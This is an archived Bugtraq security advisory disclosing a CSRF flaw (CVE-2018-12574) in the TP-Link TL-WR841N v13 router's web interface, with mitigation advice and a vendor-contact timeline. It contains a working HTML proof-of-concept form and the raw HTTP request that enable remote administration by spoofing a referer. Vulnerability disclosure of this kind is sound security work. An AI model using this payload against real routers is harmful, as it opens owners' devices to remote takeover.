lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 27 Jun 2018 16:00:43 +0200
From: Tim Coen <tc.coen@...il.com>
To: bugtraq@...urityfocus.com
Subject: TP-Link TL-WR841N v13: CSRF (CVE-2018-12574)

  * Vulnerability: Cross-Site Request Forgery
  * Affected Software: TP-Link TL-WR841N v13
  * Affected Version: 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n
  * Patched Version: None
  * Risk: High
  * Vendor Contacted: 05/20/2018
  * Vendor Fix: None
  * Public Disclosure: 06/27/2018

##### Overview

The web interface of the router is vulnerable to CSRF. An attacker can
perform arbitrary actions in the name of an authenticated user if that
user visits an attacker-controlled website.

##### CVSS

High 8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

##### Details

The protection mechanism that is in place against CSRF checks if the
given "referer" header starts with "192.168.0.1". If it does, the
request is accepted.

An attacker can bypass this mechanism by prepending their domain with
this string. For example, the malicious HTML and JavaScript code could
be hosted at "192.168.0.1.example.com". Alternatively, an attack could
originate from a different IP in the internal network, eg "192.168.0.11".

##### Proof of Concept

Enable remote access:

	<html>
	  <body>
		<form action="http://192.168.0.1/cgi?2&2" method="POST"
enctype="text/plain">
		  <input type="hidden"
name="&#91;HTTP&#95;CFG&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#93;0&#44;2&#13;&#10;httpRemoteEnabled"
value="1&#13;&#10;httpRemotePort&#61;7777&#13;&#10;&#91;APP&#95;CFG&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#93;1&#44;1&#13;&#10;remoteHost&#61;255&#46;255&#46;255&#46;255&#13;&#10;"
/>
		  <input type="submit" value="Submit request" />
		</form>
	  </body>
	</html>

The code would be hosted at a subdomain which starts with "192.168.0.1",
eg "192.168.0.1.example.com".

##### Request

	POST /cgi?2&2 HTTP/1.1
	Host: 192.168.0.1
	User-Agent: [...]
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: en-GB,en;q=0.5
	Accept-Encoding: gzip, deflate
	Referer: http://192.168.0.1.example.com/csrf.html
	Content-Type: text/plain
	Content-Length: 147
	Cookie: Authorization=Basic [...]
	DNT: 1
	Connection: close
	Upgrade-Insecure-Requests: 1

	[HTTP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2
	httpRemoteEnabled=1
	httpRemotePort=7777
	[APP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,1
	remoteHost=255.255.255.255

	HTTP/1.1 200 OK
	Content-Type: text/plain; charset=utf-8
	Connection: close
	Content-Length: 8

	[error]0

##### Solution

The vendor did not fix the issue.

Users of the product can try to mitigate the issue by not visiting other
websites while being signed into the web interface and signing out as
soon as possible. Additionally, various browser plugins can be used to
try to defend against attacks.

##### Timeline

- 05/20/2018 Requested email address via contact form (no response)
- 05/24/2018 Send advisory to security@...link.com asking for
confirmation, set disclosure date (no response)
- 06/01/2018 Asked for confirmation at support.usa@...link.com
- 06/04/2018 Vendor confirmed receipt of advisory
- 06/12/2018 Requested Status Update
- 06/14/2018 Vendor claims they never received advisory
- 06/14/2018 Resend advisory asking for confirmation (no response)
- 06/18/2018 Reminded vendor of disclosure date (no response)
- 06/18/2018 Requested CVE
- 06/19/2018 CVE assigned
- 06/27/2018 Disclosure

-- 
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0xFD8E2B9091A24C75

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ